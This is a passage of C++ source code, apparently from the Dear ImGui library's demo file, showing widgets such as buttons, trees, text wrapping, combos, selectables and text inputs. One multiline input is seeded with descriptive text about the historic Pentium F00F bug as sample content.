scrollbar", &no_scrollbar); ImGui::SameLine(300); ImGui::Checkbox("No menu", &no_menu); ImGui::Checkbox("No move", &no_move); ImGui::SameLine(150); ImGui::Checkbox("No resize", &no_resize); ImGui::SameLine(300); ImGui::Checkbox("No collapse", &no_collapse); ImGui::Checkbox("No close", &no_close); ImGui::SameLine(150); ImGui::Checkbox("No nav", &no_nav); ImGui::SameLine(300); ImGui::Checkbox("No background", &no_background); ImGui::Checkbox("No bring to front", &no_bring_to_front); } // All demo contents ShowDemoWindowWidgets(); ShowDemoWindowLayout(); ShowDemoWindowPopups(); ShowDemoWindowColumns(); ShowDemoWindowMisc(); // End of ShowDemoWindow() ImGui::End(); } static void ShowDemoWindowWidgets() { if (!ImGui::CollapsingHeader("Widgets")) return; if (ImGui::TreeNode("Basic")) { static int clicked = 0; if (ImGui::Button("Button")) clicked++; if (clicked & 1) { ImGui::SameLine(); ImGui::Text("Thanks for clicking me!"); } static bool check = true; ImGui::Checkbox("checkbox", &check); static int e = 0; ImGui::RadioButton("radio a", &e, 0); ImGui::SameLine(); ImGui::RadioButton("radio b", &e, 1); ImGui::SameLine(); ImGui::RadioButton("radio c", &e, 2); // Color buttons, demonstrate using PushID() to add unique identifier in the ID stack, and changing style. for (int i = 0; i < 7; i++) { if (i > 0) ImGui::SameLine(); ImGui::PushID(i); ImGui::PushStyleColor(ImGuiCol_Button, (ImVec4)ImColor::HSV(i/7.0f, 0.6f, 0.6f)); ImGui::PushStyleColor(ImGuiCol_ButtonHovered, (ImVec4)ImColor::HSV(i/7.0f, 0.7f, 0.7f)); ImGui::PushStyleColor(ImGuiCol_ButtonActive, (ImVec4)ImColor::HSV(i/7.0f, 0.8f, 0.8f)); ImGui::Button("Click"); ImGui::PopStyleColor(3); ImGui::PopID(); } // Use AlignTextToFramePadding() to align text baseline to the baseline of framed elements (otherwise a Text+SameLine+Button sequence will have the text a little too high by default) ImGui::AlignTextToFramePadding(); ImGui::Text("Hold to repeat:"); ImGui::SameLine(); // Arrow buttons with Repeater static int counter = 0; float spacing = ImGui::GetStyle().ItemInnerSpacing.x; ImGui::PushButtonRepeat(true); if (ImGui::ArrowButton("##left", ImGuiDir_Left)) { counter--; } ImGui::SameLine(0.0f, spacing); if (ImGui::ArrowButton("##right", ImGuiDir_Right)) { counter++; } ImGui::PopButtonRepeat(); ImGui::SameLine(); ImGui::Text("%d", counter); ImGui::Text("Hover over me"); if (ImGui::IsItemHovered()) ImGui::SetTooltip("I am a tooltip"); ImGui::SameLine(); ImGui::Text("- or me"); if (ImGui::IsItemHovered()) { ImGui::BeginTooltip(); ImGui::Text("I am a fancy tooltip"); static float arr[] = { 0.6f, 0.1f, 1.0f, 0.5f, 0.92f, 0.1f, 0.2f }; ImGui::PlotLines("Curve", arr, IM_ARRAYSIZE(arr)); ImGui::EndTooltip(); } ImGui::Separator(); ImGui::LabelText("label", "Value"); { // Using the _simplified_ one-liner Combo() api here // See "Combo" section for examples of how to use the more complete BeginCombo()/EndCombo() api. const char* items[] = { "AAAA", "BBBB", "CCCC", "DDDD", "EEEE", "FFFF", "GGGG", "HHHH", "IIII", "JJJJ", "KKKK", "LLLLLLL", "MMMM", "OOOOOOO" }; static int item_current = 0; ImGui::Combo("combo", &item_current, items, IM_ARRAYSIZE(items)); ImGui::SameLine(); HelpMarker("Refer to the \"Combo\" section below for an explanation of the full BeginCombo/EndCombo API, and demonstration of various flags.\n"); } { static char str0[128] = "Hello, world!"; ImGui::InputText("input text", str0, IM_ARRAYSIZE(str0)); ImGui::SameLine(); HelpMarker("USER:\nHold SHIFT or use mouse to select text.\n" "CTRL+Left/Right to word jump.\n" "CTRL+A or double-click to select all.\n" "CTRL+X,CTRL+C,CTRL+V clipboard.\n" "CTRL+Z,CTRL+Y undo/redo.\n" "ESCAPE to revert.\n\nPROGRAMMER:\nYou can use the ImGuiInputTextFlags_CallbackResize facility if you need to wire InputText() to a dynamic string type. See misc/cpp/imgui_stdlib.h for an example (this is not demonstrated in imgui_demo.cpp)."); static char str1[128] = ""; ImGui::InputTextWithHint("input text (w/ hint)", "enter text here", str1, IM_ARRAYSIZE(str1)); static int i0 = 123; ImGui::InputInt("input int", &i0); ImGui::SameLine(); HelpMarker("You can apply arithmetic operators +,*,/ on numerical values.\n e.g. [ 100 ], input \'*2\', result becomes [ 200 ]\nUse +- to subtract.\n"); static float f0 = 0.001f; ImGui::InputFloat("input float", &f0, 0.01f, 1.0f, "%.3f"); static double d0 = 999999.00000001; ImGui::InputDouble("input double", &d0, 0.01f, 1.0f, "%.8f"); static float f1 = 1.e10f; ImGui::InputFloat("input scientific", &f1, 0.0f, 0.0f, "%e"); ImGui::SameLine(); HelpMarker("You can input value using the scientific notation,\n e.g. \"1e+8\" becomes \"100000000\".\n"); static float vec4a[4] = { 0.10f, 0.20f, 0.30f, 0.44f }; ImGui::InputFloat3("input float3", vec4a); } { static int i1 = 50, i2 = 42; ImGui::DragInt("drag int", &i1, 1); ImGui::SameLine(); HelpMarker("Click and drag to edit value.\nHold SHIFT/ALT for faster/slower edit.\nDouble-click or CTRL+click to input value."); ImGui::DragInt("drag int 0..100", &i2, 1, 0, 100, "%d%%"); static float f1=1.00f, f2=0.0067f; ImGui::DragFloat("drag float", &f1, 0.005f); ImGui::DragFloat("drag small float", &f2, 0.0001f, 0.0f, 0.0f, "%.06f ns"); } { static int i1=0; ImGui::SliderInt("slider int", &i1, -1, 3); ImGui::SameLine(); HelpMarker("CTRL+click to input value."); static float f1=0.123f, f2=0.0f; ImGui::SliderFloat("slider float", &f1, 0.0f, 1.0f, "ratio = %.3f"); ImGui::SliderFloat("slider float (curve)", &f2, -10.0f, 10.0f, "%.4f", 2.0f); static float angle = 0.0f; ImGui::SliderAngle("slider angle", &angle); // Using the format string to display a name instead of an integer. // Here we completely omit '%d' from the format string, so it'll only display a name. // This technique can also be used with DragInt(). enum Element { Element_Fire, Element_Earth, Element_Air, Element_Water, Element_COUNT }; const char* element_names[Element_COUNT] = { "Fire", "Earth", "Air", "Water" }; static int current_element = Element_Fire; const char* current_element_name = (current_element >= 0 && current_element < Element_COUNT) ? element_names[current_element] : "Unknown"; ImGui::SliderInt("slider enum", &current_element, 0, Element_COUNT - 1, current_element_name); ImGui::SameLine(); HelpMarker("Using the format string parameter to display a name instead of the underlying integer."); } { static float col1[3] = { 1.0f,0.0f,0.2f }; static float col2[4] = { 0.4f,0.7f,0.0f,0.5f }; ImGui::ColorEdit3("color 1", col1); ImGui::SameLine(); HelpMarker("Click on the colored square to open a color picker.\nClick and hold to use drag and drop.\nRight-click on the colored square to show options.\nCTRL+click on individual component to input value.\n"); ImGui::ColorEdit4("color 2", col2); } { // List box const char* listbox_items[] = { "Apple", "Banana", "Cherry", "Kiwi", "Mango", "Orange", "Pineapple", "Strawberry", "Watermelon" }; static int listbox_item_current = 1; ImGui::ListBox("listbox\n(single select)", &listbox_item_current, listbox_items, IM_ARRAYSIZE(listbox_items), 4); //static int listbox_item_current2 = 2; //ImGui::SetNextItemWidth(-1); //ImGui::ListBox("##listbox2", &listbox_item_current2, listbox_items, IM_ARRAYSIZE(listbox_items), 4); } ImGui::TreePop(); } // Testing ImGuiOnceUponAFrame helper. //static ImGuiOnceUponAFrame once; //for (int i = 0; i < 5; i++) // if (once) // ImGui::Text("This will be displayed only once."); if (ImGui::TreeNode("Trees")) { if (ImGui::TreeNode("Basic trees")) { for (int i = 0; i < 5; i++) { // Use SetNextItemOpen() so set the default state of a node to be open. // We could also use TreeNodeEx() with the ImGuiTreeNodeFlags_DefaultOpen flag to achieve the same thing! if (i == 0) ImGui::SetNextItemOpen(true, ImGuiCond_Once); if (ImGui::TreeNode((void*)(intptr_t)i, "Child %d", i)) { ImGui::Text("blah blah"); ImGui::SameLine(); if (ImGui::SmallButton("button")) {}; ImGui::TreePop(); } } ImGui::TreePop(); } if (ImGui::TreeNode("Advanced, with Selectable nodes")) { HelpMarker("This is a more typical looking tree with selectable nodes.\nClick to select, CTRL+Click to toggle, click on arrows or double-click to open."); static ImGuiTreeNodeFlags base_flags = ImGuiTreeNodeFlags_OpenOnArrow | ImGuiTreeNodeFlags_OpenOnDoubleClick | ImGuiTreeNodeFlags_SpanAvailWidth; static bool align_label_with_current_x_position = false; ImGui::CheckboxFlags("ImGuiTreeNodeFlags_OpenOnArrow", (unsigned int*)&base_flags, ImGuiTreeNodeFlags_OpenOnArrow); ImGui::CheckboxFlags("ImGuiTreeNodeFlags_OpenOnDoubleClick", (unsigned int*)&base_flags, ImGuiTreeNodeFlags_OpenOnDoubleClick); ImGui::CheckboxFlags("ImGuiTreeNodeFlags_SpanAvailWidth", (unsigned int*)&base_flags, ImGuiTreeNodeFlags_SpanAvailWidth); ImGui::CheckboxFlags("ImGuiTreeNodeFlags_SpanFullWidth", (unsigned int*)&base_flags, ImGuiTreeNodeFlags_SpanFullWidth); ImGui::Checkbox("Align label with current X position)", &align_label_with_current_x_position); ImGui::Text("Hello!"); if (align_label_with_current_x_position) ImGui::Unindent(ImGui::GetTreeNodeToLabelSpacing()); static int selection_mask = (1 << 2); // Dumb representation of what may be user-side selection state. You may carry selection state inside or outside your objects in whatever format you see fit. int node_clicked = -1; // Temporary storage of what node we have clicked to process selection at the end of the loop. May be a pointer to your own node type, etc. for (int i = 0; i < 6; i++) { // Disable the default open on single-click behavior and pass in Selected flag according to our selection state. ImGuiTreeNodeFlags node_flags = base_flags; const bool is_selected = (selection_mask & (1 << i)) != 0; if (is_selected) node_flags |= ImGuiTreeNodeFlags_Selected; if (i < 3) { // Items 0..2 are Tree Node bool node_open = ImGui::TreeNodeEx((void*)(intptr_t)i, node_flags, "Selectable Node %d", i); if (ImGui::IsItemClicked()) node_clicked = i; if (node_open) { ImGui::BulletText("Blah blah\nBlah Blah"); ImGui::TreePop(); } } else { // Items 3..5 are Tree Leaves // The only reason we use TreeNode at all is to allow selection of the leaf. // Otherwise we can use BulletText() or advance the cursor by GetTreeNodeToLabelSpacing() and call Text(). node_flags |= ImGuiTreeNodeFlags_Leaf | ImGuiTreeNodeFlags_NoTreePushOnOpen; // ImGuiTreeNodeFlags_Bullet ImGui::TreeNodeEx((void*)(intptr_t)i, node_flags, "Selectable Leaf %d", i); if (ImGui::IsItemClicked()) node_clicked = i; } } if (node_clicked != -1) { // Update selection state. Process outside of tree loop to avoid visual inconsistencies during the clicking-frame. if (ImGui::GetIO().KeyCtrl) selection_mask ^= (1 << node_clicked); // CTRL+click to toggle else //if (!(selection_mask & (1 << node_clicked))) // Depending on selection behavior you want, this commented bit preserve selection when clicking on item that is part of the selection selection_mask = (1 << node_clicked); // Click to single-select } if (align_label_with_current_x_position) ImGui::Indent(ImGui::GetTreeNodeToLabelSpacing()); ImGui::TreePop(); } ImGui::TreePop(); } if (ImGui::TreeNode("Collapsing Headers")) { static bool closable_group = true; ImGui::Checkbox("Show 2nd header", &closable_group); if (ImGui::CollapsingHeader("Header", ImGuiTreeNodeFlags_None)) { ImGui::Text("IsItemHovered: %d", ImGui::IsItemHovered()); for (int i = 0; i < 5; i++) ImGui::Text("Some content %d", i); } if (ImGui::CollapsingHeader("Header with a close button", &closable_group)) { ImGui::Text("IsItemHovered: %d", ImGui::IsItemHovered()); for (int i = 0; i < 5; i++) ImGui::Text("More content %d", i); } /* if (ImGui::CollapsingHeader("Header with a bullet", ImGuiTreeNodeFlags_Bullet)) ImGui::Text("IsItemHovered: %d", ImGui::IsItemHovered()); */ ImGui::TreePop(); } if (ImGui::TreeNode("Bullets")) { ImGui::BulletText("Bullet point 1"); ImGui::BulletText("Bullet point 2\nOn multiple lines"); if (ImGui::TreeNode("Tree node")) { ImGui::BulletText("Another bullet point"); ImGui::TreePop(); } ImGui::Bullet(); ImGui::Text("Bullet point 3 (two calls)"); ImGui::Bullet(); ImGui::SmallButton("Button"); ImGui::TreePop(); } if (ImGui::TreeNode("Text")) { if (ImGui::TreeNode("Colored Text")) { // Using shortcut. You can use PushStyleColor()/PopStyleColor() for more flexibility. ImGui::TextColored(ImVec4(1.0f,0.0f,1.0f,1.0f), "Pink"); ImGui::TextColored(ImVec4(1.0f,1.0f,0.0f,1.0f), "Yellow"); ImGui::TextDisabled("Disabled"); ImGui::SameLine(); HelpMarker("The TextDisabled color is stored in ImGuiStyle."); ImGui::TreePop(); } if (ImGui::TreeNode("Word Wrapping")) { // Using shortcut. You can use PushTextWrapPos()/PopTextWrapPos() for more flexibility. ImGui::TextWrapped("This text should automatically wrap on the edge of the window. The current implementation for text wrapping follows simple rules suitable for English and possibly other languages."); ImGui::Spacing(); static float wrap_width = 200.0f; ImGui::SliderFloat("Wrap width", &wrap_width, -20, 600, "%.0f"); ImGui::Text("Test paragraph 1:"); ImVec2 pos = ImGui::GetCursorScreenPos(); ImGui::GetWindowDrawList()->AddRectFilled(ImVec2(pos.x + wrap_width, pos.y), ImVec2(pos.x + wrap_width + 10, pos.y + ImGui::GetTextLineHeight()), IM_COL32(255,0,255,255)); ImGui::PushTextWrapPos(ImGui::GetCursorPos().x + wrap_width); ImGui::Text("The lazy dog is a good dog. This paragraph is made to fit within %.0f pixels. Testing a 1 character word. The quick brown fox jumps over the lazy dog.", wrap_width); ImGui::GetWindowDrawList()->AddRect(ImGui::GetItemRectMin(), ImGui::GetItemRectMax(), IM_COL32(255,255,0,255)); ImGui::PopTextWrapPos(); ImGui::Text("Test paragraph 2:"); pos = ImGui::GetCursorScreenPos(); ImGui::GetWindowDrawList()->AddRectFilled(ImVec2(pos.x + wrap_width, pos.y), ImVec2(pos.x + wrap_width + 10, pos.y + ImGui::GetTextLineHeight()), IM_COL32(255,0,255,255)); ImGui::PushTextWrapPos(ImGui::GetCursorPos().x + wrap_width); ImGui::Text("aaaaaaaa bbbbbbbb, c cccccccc,dddddddd. d eeeeeeee ffffffff. gggggggg!hhhhhhhh"); ImGui::GetWindowDrawList()->AddRect(ImGui::GetItemRectMin(), ImGui::GetItemRectMax(), IM_COL32(255,255,0,255)); ImGui::PopTextWrapPos(); ImGui::TreePop(); } if (ImGui::TreeNode("UTF-8 Text")) { // UTF-8 test with Japanese characters // (Needs a suitable font, try Noto, or Arial Unicode, or M+ fonts. Read docs/FONTS.txt for details.) // - From C++11 you can use the u8"my text" syntax to encode literal strings as UTF-8 // - For earlier compiler, you may be able to encode your sources as UTF-8 (e.g. Visual Studio save your file as 'UTF-8 without signature') // - FOR THIS DEMO FILE ONLY, BECAUSE WE WANT TO SUPPORT OLD COMPILERS, WE ARE *NOT* INCLUDING RAW UTF-8 CHARACTERS IN THIS SOURCE FILE. // Instead we are encoding a few strings with hexadecimal constants. Don't do this in your application! // Please use u8"text in any language" in your application! // Note that characters values are preserved even by InputText() if the font cannot be displayed, so you can safely copy & paste garbled characters into another application. ImGui::TextWrapped("CJK text will only appears if the font was loaded with the appropriate CJK character ranges. Call io.Font->AddFontFromFileTTF() manually to load extra character ranges. Read docs/FONTS.txt for details."); ImGui::Text("Hiragana: \xe3\x81\x8b\xe3\x81\x8d\xe3\x81\x8f\xe3\x81\x91\xe3\x81\x93 (kakikukeko)"); // Normally we would use u8"blah blah" with the proper characters directly in the string. ImGui::Text("Kanjis: \xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e (nihongo)"); static char buf[32] = "\xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e"; //static char buf[32] = u8"NIHONGO"; // <- this is how you would write it with C++11, using real kanjis ImGui::InputText("UTF-8 input", buf, IM_ARRAYSIZE(buf)); ImGui::TreePop(); } ImGui::TreePop(); } if (ImGui::TreeNode("Images")) { ImGuiIO& io = ImGui::GetIO(); ImGui::TextWrapped("Below we are displaying the font texture (which is the only texture we have access to in this demo). Use the 'ImTextureID' type as storage to pass pointers or identifier to your own texture data. Hover the texture for a zoomed view!"); // Here we are grabbing the font texture because that's the only one we have access to inside the demo code. // Remember that ImTextureID is just storage for whatever you want it to be, it is essentially a value that will be passed to the render function inside the ImDrawCmd structure. // If you use one of the default imgui_impl_XXXX.cpp renderer, they all have comments at the top of their file to specify what they expect to be stored in ImTextureID. // (for example, the imgui_impl_dx11.cpp renderer expect a 'ID3D11ShaderResourceView*' pointer. The imgui_impl_opengl3.cpp renderer expect a GLuint OpenGL texture identifier etc.) // If you decided that ImTextureID = MyEngineTexture*, then you can pass your MyEngineTexture* pointers to ImGui::Image(), and gather width/height through your own functions, etc. // Using ShowMetricsWindow() as a "debugger" to inspect the draw data that are being passed to your render will help you debug issues if you are confused about this. // Consider using the lower-level ImDrawList::AddImage() API, via ImGui::GetWindowDrawList()->AddImage(). ImTextureID my_tex_id = io.Fonts->TexID; float my_tex_w = (float)io.Fonts->TexWidth; float my_tex_h = (float)io.Fonts->TexHeight; ImGui::Text("%.0fx%.0f", my_tex_w, my_tex_h); ImVec2 pos = ImGui::GetCursorScreenPos(); ImGui::Image(my_tex_id, ImVec2(my_tex_w, my_tex_h), ImVec2(0,0), ImVec2(1,1), ImVec4(1.0f,1.0f,1.0f,1.0f), ImVec4(1.0f,1.0f,1.0f,0.5f)); if (ImGui::IsItemHovered()) { ImGui::BeginTooltip(); float region_sz = 32.0f; float region_x = io.MousePos.x - pos.x - region_sz * 0.5f; if (region_x < 0.0f) region_x = 0.0f; else if (region_x > my_tex_w - region_sz) region_x = my_tex_w - region_sz; float region_y = io.MousePos.y - pos.y - region_sz * 0.5f; if (region_y < 0.0f) region_y = 0.0f; else if (region_y > my_tex_h - region_sz) region_y = my_tex_h - region_sz; float zoom = 4.0f; ImGui::Text("Min: (%.2f, %.2f)", region_x, region_y); ImGui::Text("Max: (%.2f, %.2f)", region_x + region_sz, region_y + region_sz); ImVec2 uv0 = ImVec2((region_x) / my_tex_w, (region_y) / my_tex_h); ImVec2 uv1 = ImVec2((region_x + region_sz) / my_tex_w, (region_y + region_sz) / my_tex_h); ImGui::Image(my_tex_id, ImVec2(region_sz * zoom, region_sz * zoom), uv0, uv1, ImVec4(1.0f, 1.0f, 1.0f, 1.0f), ImVec4(1.0f, 1.0f, 1.0f, 0.5f)); ImGui::EndTooltip(); } ImGui::TextWrapped("And now some textured buttons.."); static int pressed_count = 0; for (int i = 0; i < 8; i++) { ImGui::PushID(i); int frame_padding = -1 + i; // -1 = uses default padding if (ImGui::ImageButton(my_tex_id, ImVec2(32,32), ImVec2(0,0), ImVec2(32.0f/my_tex_w,32/my_tex_h), frame_padding, ImVec4(0.0f,0.0f,0.0f,1.0f))) pressed_count += 1; ImGui::PopID(); ImGui::SameLine(); } ImGui::NewLine(); ImGui::Text("Pressed %d times.", pressed_count); ImGui::TreePop(); } if (ImGui::TreeNode("Combo")) { // Expose flags as checkbox for the demo static ImGuiComboFlags flags = 0; ImGui::CheckboxFlags("ImGuiComboFlags_PopupAlignLeft", (unsigned int*)&flags, ImGuiComboFlags_PopupAlignLeft); ImGui::SameLine(); HelpMarker("Only makes a difference if the popup is larger than the combo"); if (ImGui::CheckboxFlags("ImGuiComboFlags_NoArrowButton", (unsigned int*)&flags, ImGuiComboFlags_NoArrowButton)) flags &= ~ImGuiComboFlags_NoPreview; // Clear the other flag, as we cannot combine both if (ImGui::CheckboxFlags("ImGuiComboFlags_NoPreview", (unsigned int*)&flags, ImGuiComboFlags_NoPreview)) flags &= ~ImGuiComboFlags_NoArrowButton; // Clear the other flag, as we cannot combine both // General BeginCombo() API, you have full control over your selection data and display type. // (your selection data could be an index, a pointer to the object, an id for the object, a flag stored in the object itself, etc.) const char* items[] = { "AAAA", "BBBB", "CCCC", "DDDD", "EEEE", "FFFF", "GGGG", "HHHH", "IIII", "JJJJ", "KKKK", "LLLLLLL", "MMMM", "OOOOOOO" }; static const char* item_current = items[0]; // Here our selection is a single pointer stored outside the object. if (ImGui::BeginCombo("combo 1", item_current, flags)) // The second parameter is the label previewed before opening the combo. { for (int n = 0; n < IM_ARRAYSIZE(items); n++) { bool is_selected = (item_current == items[n]); if (ImGui::Selectable(items[n], is_selected)) item_current = items[n]; if (is_selected) ImGui::SetItemDefaultFocus(); // Set the initial focus when opening the combo (scrolling + for keyboard navigation support in the upcoming navigation branch) } ImGui::EndCombo(); } // Simplified one-liner Combo() API, using values packed in a single constant string static int item_current_2 = 0; ImGui::Combo("combo 2 (one-liner)", &item_current_2, "aaaa\0bbbb\0cccc\0dddd\0eeee\0\0"); // Simplified one-liner Combo() using an array of const char* static int item_current_3 = -1; // If the selection isn't within 0..count, Combo won't display a preview ImGui::Combo("combo 3 (array)", &item_current_3, items, IM_ARRAYSIZE(items)); // Simplified one-liner Combo() using an accessor function struct FuncHolder { static bool ItemGetter(void* data, int idx, const char** out_str) { *out_str = ((const char**)data)[idx]; return true; } }; static int item_current_4 = 0; ImGui::Combo("combo 4 (function)", &item_current_4, &FuncHolder::ItemGetter, items, IM_ARRAYSIZE(items)); ImGui::TreePop(); } if (ImGui::TreeNode("Selectables")) { // Selectable() has 2 overloads: // - The one taking "bool selected" as a read-only selection information. When Selectable() has been clicked is returns true and you can alter selection state accordingly. // - The one taking "bool* p_selected" as a read-write selection information (convenient in some cases) // The earlier is more flexible, as in real application your selection may be stored in a different manner (in flags within objects, as an external list, etc). if (ImGui::TreeNode("Basic")) { static bool selection[5] = { false, true, false, false, false }; ImGui::Selectable("1. I am selectable", &selection[0]); ImGui::Selectable("2. I am selectable", &selection[1]); ImGui::Text("3. I am not selectable"); ImGui::Selectable("4. I am selectable", &selection[3]); if (ImGui::Selectable("5. I am double clickable", selection[4], ImGuiSelectableFlags_AllowDoubleClick)) if (ImGui::IsMouseDoubleClicked(0)) selection[4] = !selection[4]; ImGui::TreePop(); } if (ImGui::TreeNode("Selection State: Single Selection")) { static int selected = -1; for (int n = 0; n < 5; n++) { char buf[32]; sprintf(buf, "Object %d", n); if (ImGui::Selectable(buf, selected == n)) selected = n; } ImGui::TreePop(); } if (ImGui::TreeNode("Selection State: Multiple Selection")) { HelpMarker("Hold CTRL and click to select multiple items."); static bool selection[5] = { false, false, false, false, false }; for (int n = 0; n < 5; n++) { char buf[32]; sprintf(buf, "Object %d", n); if (ImGui::Selectable(buf, selection[n])) { if (!ImGui::GetIO().KeyCtrl) // Clear selection when CTRL is not held memset(selection, 0, sizeof(selection)); selection[n] ^= 1; } } ImGui::TreePop(); } if (ImGui::TreeNode("Rendering more text into the same line")) { // Using the Selectable() override that takes "bool* p_selected" parameter and toggle your booleans automatically. static bool selected[3] = { false, false, false }; ImGui::Selectable("main.c", &selected[0]); ImGui::SameLine(300); ImGui::Text(" 2,345 bytes"); ImGui::Selectable("Hello.cpp", &selected[1]); ImGui::SameLine(300); ImGui::Text("12,345 bytes"); ImGui::Selectable("Hello.h", &selected[2]); ImGui::SameLine(300); ImGui::Text(" 2,345 bytes"); ImGui::TreePop(); } if (ImGui::TreeNode("In columns")) { ImGui::Columns(3, NULL, false); static bool selected[16] = {}; for (int i = 0; i < 16; i++) { char label[32]; sprintf(label, "Item %d", i); if (ImGui::Selectable(label, &selected[i])) {} ImGui::NextColumn(); } ImGui::Columns(1); ImGui::TreePop(); } if (ImGui::TreeNode("Grid")) { static bool selected[4*4] = { true, false, false, false, false, true, false, false, false, false, true, false, false, false, false, true }; for (int i = 0; i < 4*4; i++) { ImGui::PushID(i); if (ImGui::Selectable("Sailor", &selected[i], 0, ImVec2(50,50))) { // Note: We _unnecessarily_ test for both x/y and i here only to silence some static analyzer. The second part of each test is unnecessary. int x = i % 4; int y = i / 4; if (x > 0) { selected[i - 1] ^= 1; } if (x < 3 && i < 15) { selected[i + 1] ^= 1; } if (y > 0 && i > 3) { selected[i - 4] ^= 1; } if (y < 3 && i < 12) { selected[i + 4] ^= 1; } } if ((i % 4) < 3) ImGui::SameLine(); ImGui::PopID(); } ImGui::TreePop(); } if (ImGui::TreeNode("Alignment")) { HelpMarker("Alignment applies when a selectable is larger than its text content.\nBy default, Selectables uses style.SelectableTextAlign but it can be overriden on a per-item basis using PushStyleVar()."); static bool selected[3*3] = { true, false, true, false, true, false, true, false, true }; for (int y = 0; y < 3; y++) { for (int x = 0; x < 3; x++) { ImVec2 alignment = ImVec2((float)x / 2.0f, (float)y / 2.0f); char name[32]; sprintf(name, "(%.1f,%.1f)", alignment.x, alignment.y); if (x > 0) ImGui::SameLine(); ImGui::PushStyleVar(ImGuiStyleVar_SelectableTextAlign, alignment); ImGui::Selectable(name, &selected[3*y+x], ImGuiSelectableFlags_None, ImVec2(80,80)); ImGui::PopStyleVar(); } } ImGui::TreePop(); } ImGui::TreePop(); } if (ImGui::TreeNode("Text Input")) { if (ImGui::TreeNode("Multi-line Text Input")) { // Note: we are using a fixed-sized buffer for simplicity here. See ImGuiInputTextFlags_CallbackResize // and the code in misc/cpp/imgui_stdlib.h for how to setup InputText() for dynamically resizing strings. static char text[1024 * 16] = "/*\n" " The Pentium F00F bug, shorthand for F0 0F C7 C8,\n" " the hexadecimal encoding of one offending instruction,\n" " more formally, the invalid operand with locked CMPXCHG8B\n" " instruction bug, is a design flaw in the majority of\n" " Intel Pentium, Pentium MMX, and Pentium OverDrive\n" " processors (all in the P5 microarchitecture).\n" "*/\n\n" "label:\n" "\tlock cmpxchg8b eax\n"; static ImGuiInputTextFlags flags = ImGuiInputTextFlags_AllowTabInput; HelpMarker("You can use the ImGuiInputTextFlags_CallbackResize facility if you need to wire InputTextMultiline() to a dynamic string type. See misc/cpp/imgui_stdlib.h for an example. (This is not demonstrated in imgui_demo.cpp)"); ImGui::CheckboxFlags("ImGuiInputTextFlags_ReadOnly", (unsigned int*)&flags, ImGuiInputTextFlags_ReadOnly); ImGui::CheckboxFlags("ImGuiInputTextFlags_AllowTabInput", (unsigned int*)&flags, ImGuiInputTextFlags_AllowTabInput); ImGui::CheckboxFlags("ImGuiInputTextFlags_CtrlEnterForNewLine", (unsigned int*)&flags, ImGuiInputTextFlags_CtrlEnterForNewLine); ImGui::InputTextMultiline("##source", text, IM_ARRAYSIZE(text), ImVec2(-FLT_MIN, ImGui::GetTextLineHeight() * 16), flags); ImGui::TreePop(); } if (ImGui::TreeNode("Filtered Text Input")) { static char buf1[64] = ""; ImGui::InputText("default", buf1, 64); static char buf2[64] = ""; ImGui::InputText("decimal", buf2, 64, ImGuiInputTextFlags_CharsDecimal); static char buf3[64] = ""; ImGui::InputText("hexadecimal", buf3, 64, ImGuiInputTextFlags_CharsHexadecimal | ImGuiInputTextFlags_CharsUppercase); static char buf4[64] = ""; ImGui::InputText("uppercase", buf4, 64, ImGuiInputTextFlags_CharsUppercase); static char buf5[64] = ""; ImGui::InputText("no blank", buf5, 64, ImGuiInputTextFlags_CharsNoBlank); struct TextFilters { static int FilterImGuiLetters(ImGuiInputTextCallbackData* data) { if (data->EventChar < 256 && strchr("imgui", (char)data->EventChar)) return 0; return 1; } }; static char buf6[64] = ""; ImGui::InputText("\"imgui\" letters", buf6, 64, ImGuiInputTextFlags_CallbackCharFilter, TextFilters::FilterImGuiLetters); ImGui::Text("Password input"); static char bufpass[64] = "password123"; ImGui::InputText("password", bufpass, 64, ImGuiInputTextFlags_Password | ImGuiInputTextFlags_CharsNoBlank); ImGui::SameLine(); HelpMarker("Display all characters as '*'.\nDisable clipboard cut and copy.\nDisable logging.\n"); ImGui::InputTextWithHint("password (w/ hint)", "<password>", bufpass, 64, ImGuiInputTextFlags_Password | ImGuiInputTextFlags_CharsNoBlank); ImGui::InputText("password (clear)", bufpass, 64, ImGuiInputTextFlags_CharsNoBlank); ImGui::TreePop(); } if (ImGui::TreeNode("Resize Callback")) { // If you have a custom string type you would typically create a ImGui::InputText() wrapper than takes your type as input. // See misc/cpp/imgui_stdlib.h and .cpp for an implementation of this using std::string. HelpMarker("Demonstrate using ImGuiInputTextFlags_CallbackResize to wire your resizable string type to InputText().\n\nSee misc/cpp/imgui_stdlib.h for an implementation of this for std::string."); struct Funcs { static int MyResizeCallback(ImGuiInputTextCallbackData* data) { if (data->EventFlag == ImGuiInputTextFlags_CallbackResize) { ImVector<char>* my_str = (ImVector<char>*)data->UserData; IM_ASSERT(my_str->begin() == data->Buf); my_str->resize(data->BufSize); // NB: On resizing calls, generally data->BufSize == data->BufTextLen + 1 data->Buf = my_str->begin(); } return 0; } // Tip: Because ImGui:: is a namespace you would typicall add your own function into the namespace in your own source files. // For example, you may add a function called ImGui::InputText(const char* label, MyString* my_str). static bool MyInputTextMultiline(const char* label, ImVector<char>* my_str, const ImVec2& size = ImVec2(0, 0), ImGuiInputTextFlags flags = 0) { IM_ASSERT((flags & ImGuiInputTextFlags_CallbackResize) == 0); return ImGui::InputTextMultiline(label, my_str->begin(), (size_t)my_str->size(), size, flags | ImGuiInputTextFlags_CallbackResize, Funcs::MyResizeCallback, (void*)my_str); } }; // For this demo we are using ImVector as a string container. // Note that because we need to store a terminating zero character, our size/capacity are 1 more than usually reported by a typical string class. static ImVector<char> my_str; if (my_str.empty()) my_str.push_back(0); Funcs::MyInputTextMultiline("##MyStr", &my_str, ImVec2(-FLT_MIN, ImGui::GetTextLineHeight() * 16)); ImGui::Text("Data: %p\nSize: %d\nCapacity: %d", (void*)my_str.begin(), my_str.size(), my_str.capacity()); ImGui::TreePop(); } ImGui::TreePop(); } // Plot/Graph widgets are currently fairly limited. // Consider writing your own plotting widget, or using a third-party one (see "Wiki->Useful Widgets", or github.com/ocornut/imgui/issues/2747) if (ImGui::TreeNode("Plots Widgets")) { static bool animate = true; ImGui::Checkbox("Animate", &animate); static float arr[] = { 0.6f, 0.1f, 1.0f, 0.5f, 0.92f, 0.1f, 0.2f }; ImGui::PlotLines("Frame Times", arr, IM_ARRAYSIZE(arr)); // Create a dummy array of contiguous float values to plot // Tip: If your float aren't contiguous but part of a structure, you can pass a pointer to your first float and the sizeof() of your structure in the Stride parameter. static float values[90] = {}; static int values_offset = 0; static double refresh_time = 